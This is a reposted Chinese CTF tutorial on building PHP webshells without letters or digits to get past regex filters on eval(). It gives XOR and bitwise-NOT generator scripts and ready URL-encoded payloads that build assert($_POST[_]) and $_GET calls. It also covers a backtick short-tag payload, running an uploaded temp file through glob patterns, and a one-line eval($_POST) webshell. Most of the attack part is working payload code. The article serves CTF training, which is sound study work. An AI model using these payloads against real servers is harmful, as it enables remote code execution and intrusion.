前言
在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。
无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。
本文涉及知识点实操练习——使用base64与deflate对webshell编码:通过本实验的学习,你能够学会使用简单的webshell,了解到使用base64与deflate对字符串进行编码,对编码后的webshell进行解码。
测试源码
-
<?php
-
if(!preg_match(
'/[a-z0-9]/is',$_GET[
'shell'])) {
-
eval($_GET[
'shell']);
-
}
-
//如果shell中不还有字母和数字,则可以执行eval语句
异或绕过
异或的符号是^
,是一种运算符。
-
1 ^
1 =
0
-
1 ^
0 =
1
-
0 ^
1 =
1
-
0 ^
0 =
0
异或脚本
-
<?php
-
for($i=
128;$i<
255;$i++){
-
echo sprintf(
"%s^%s",urlencode(chr($i)),urlencode(chr(
255))).
"=>". (chr($i)^chr(
255)).
"\n";
-
}
-
?>
运行该脚本我们知道
-
%
81^%FF=>~ %
82^%FF=>} %
83^%FF=>|
-
%
84^%FF=>{ %
85^%FF=>z %
86^%FF=>y
-
%
87^%FF=>x %
88^%FF=>w %
89^%FF=>v
-
%
8A^%FF=>u %
8B^%FF=>t %
8C^%FF=>s
-
%
8D^%FF=>r %
8E^%FF=>q %
8F^%FF=>p
-
%
90^%FF=>o %
91^%FF=>n %
92^%FF=>m
-
%
93^%FF=>l %
94^%FF=>k %
95^%FF=>j
-
%
96^%FF=>i %
97^%FF=>h %
98^%FF=>g
-
%
99^%FF=>f %
9A^%FF=>e %
9B^%FF=>d
-
%
9C^%FF=>c %
9D^%FF=>b %
9E^%FF=>a
-
%
9F^%FF=>
` %A0^%FF=>_ %A1^%FF=>^
-
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
-
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
-
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
-
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
-
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
-
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
-
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
-
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
-
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
-
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
-
%C0^%FF=>?
-
通过这种方法构造一个phpinfo()函数
-
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
-
//${_GET}{%ff}();&%ff=phpinfo
-
我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_
-
%B8^%FF=>G
-
%BA^%FF=>E
-
%AB^%FF=>T
-
<?php
-
$a = urldecode(
'%ff%ff%ff%ff');
-
$b = urldecode(
'%a0%b8%ba%ab');
-
echo $a^$b;
-
//输出_GET
取反绕过
取反的符号是~
,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。
直接看如何构造phpinfo()
(~%8F%97%8F%96%91%99%90)();
可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。
取反脚本
-
<?php
-
$a = urlencode(~
'phpinfo');
-
echo $a;
-
//%8F%97%8F%96%91%99%90
构造assert字符
第一种方法
-
%
9E^%FF=>a
-
%
8C^%FF=>s
-
%
9A^%FF=>e
-
%
8D^%FF=>r
-
%
8B^%FF=>t
-
-
%A0^%FF=>_
-
%AF^%FF=>P
-
%B0^%FF=>O
-
%AC^%FF=>S
-
%AB^%FF=>T
-
-
$_=
"%9E%8C%8C%9A%8D%8B"^
"%FF%FF%FF%FF%FF%FF";
-
$__=
"%A0%AF%B0%AC%AB"^
"%FF%FF%FF%FF%FF";
-
$___=$$__;
-
$_($___[_]);
第二种方法
脚本
-
<?php
-
$shell =
"assert";
-
$result1 =
"";
-
$result2 =
"";
-
for($num=
0;$num<=strlen($shell);$num++)
-
{
-
for($x=
33;$x<
126;$x++)
-
{
-
if(judge(chr($x)))
-
{
-
for($y=
33;$y<=
126;$y++)
-
{
-
if(judge(chr($y)))
-
{
-
$f = chr($x)^chr($y);
-
if($f == $shell[$num])
-
{
-
$result1 .= chr($x);
-
$result2 .= chr($y);
-
break
2;
-
}
-
}
-
}
-
}
-
}
-
}
-
echo $result1;
-
echo
"<br>";
-
echo $result2;
-
-
function judge($c)
-
{
-
if(!preg_match(
'/[a-z0-9]/is',$c))
-
{
-
return
true;
-
}
-
return
false;
-
}
这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。
-
<?php
-
$_ =
"!((%)("^
"@[[@[\\";
//构造出assert
-
$__ =
"!+/(("^
"~{`{|";
//构造出_POST
-
$___ = $$__;
//$___ = $_POST
-
$_($___[_]);
//assert($_POST[_]);
?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b
-
$_ =
"!((%)("^
"@[[@[\\";
-
$__ =
"!+/(("^
"~{`{|";
-
$___ = $$__;
-
$_($___[_]);
%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b
第三种方法
-
<?php
-
$a = urlencode(~
'assert');
-
echo $a;
-
//%9E%8C%8C%9A%8D%8B
-
-
$b = urlencode(~
'_POST');
-
//%A0%AF%B0%AC%AB
-
<?php
-
$_ = ~
"%9e%8c%8c%9a%8d%8b";
//得到assert,此时$_="assert"
-
$__ = ~
"%a0%af%b0%ac%ab";
//得到_POST,此时$__="_POST"
-
$___ = $$__;
//$___=$_POST
-
$_($___[_]);
//assert($_POST[_])
?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);
PHP5和7的区别
-
PHP5中,assert()是一个函数,我们可以用=assert;_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。
-
PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();
过滤了_
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。
过滤了$
PHP7
在PHP7中,我们可以使用($a)()这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90)();执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert()来执行函数,因为php7不支持assert()函数。
PHP5
在PHP5中不再支持($a)()方法来调用函数,在膜拜P神的无字母数字webshell之提高篇后,有了新的启发。如何在无字母,数字,$的系统命令下getshell?我们利用在Linux shell下两个知识点1,shell下可以利用.
来执行任意脚本
2,Linux文件名支持glob通配符代替
从图可以看出,我们可以成功用.
+文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。
在这两个条件下我们可以想到,如果我们可以上传一个文件,用.
来执行这个文件就可以成功getshell。
那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?
首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
现在我们可以利用glob通配符匹配该文件,我们知道
*
可以代替0个及以上任意文件
?
可以代表1个任意字符
[^a]
可以用来判断这个位置的字符是不是a
[0-9]
可以用来限制范围
通过ascii码表我们知道,可见大写字母@
与[
之间,所以我们可以利用[@-[]
来表示大写字母。
综上,我们可以利用. /???/????????[@-[]
来匹配/tmp/phpXXXXXX
实战演练
-
<?php
-
if(isset($_GET[
'evil'])){
-
if(strlen($_GET[
'evil'])>
25||preg_match(
"/[\w$=()<>'\"]/", $_GET[
'evil'])){
-
die(
"danger!!");
-
}
-
@eval($_GET[
'evil']);
-
}
-
highlight_file(__FILE__);
-
?>
通过编写脚本看看哪些可见字符没有被过滤
-
<?php
-
for ($ascii =
0; $ascii <
256; $ascii++) {
-
if (!preg_match(
"/[\w$=()<>'\"]/", chr($ascii))) {
-
echo (chr($ascii));
-
}
-
}
-
?>
可以发现过滤了字母,数字,`$`,`_`,`()`等,但`和 . 还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用 ` 来执行文件。
首先,我们应该上传写一个表单上传
-
<!DOCTYPE html>
-
<html lang=
"en">
-
<head>
-
<meta charset=
"UTF-8">
-
<title>Document</title>
-
</head>
-
<body>
-
<form action=
"http://ip:*****/" method=
"post" enctype=
"multipart/form-data">
-
<input
type=
"file" name=
"file">
-
<input
type=
"submit" value=
"提交">
-
</form>
-
</body>
-
</html>
提交一个1.txt的文件,这个文件会被保存在这个/tmp/phpXXXXXX
临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。
我们在把1.txt中写入ls
,并把执行完1.txt
文件返回的内容(即执行ls返回的内容)保存在var/www/html
目录下的abc文件中
var/www/html
是Apache的默认路径,我们也可以直接写ls />abc
接着在ip地址后添加/abc
,可以看到成功返回执行1.txt后的内容。
直接cat flag
我们还可以上传一个小马文件get flag
例如我们创建一个hello.php的文件,文件内容为
echo "<?php eval(\$_POST['shell']);"
然后cat flag
转载:https://blog.csdn.net/qq_38154820/article/details/111189424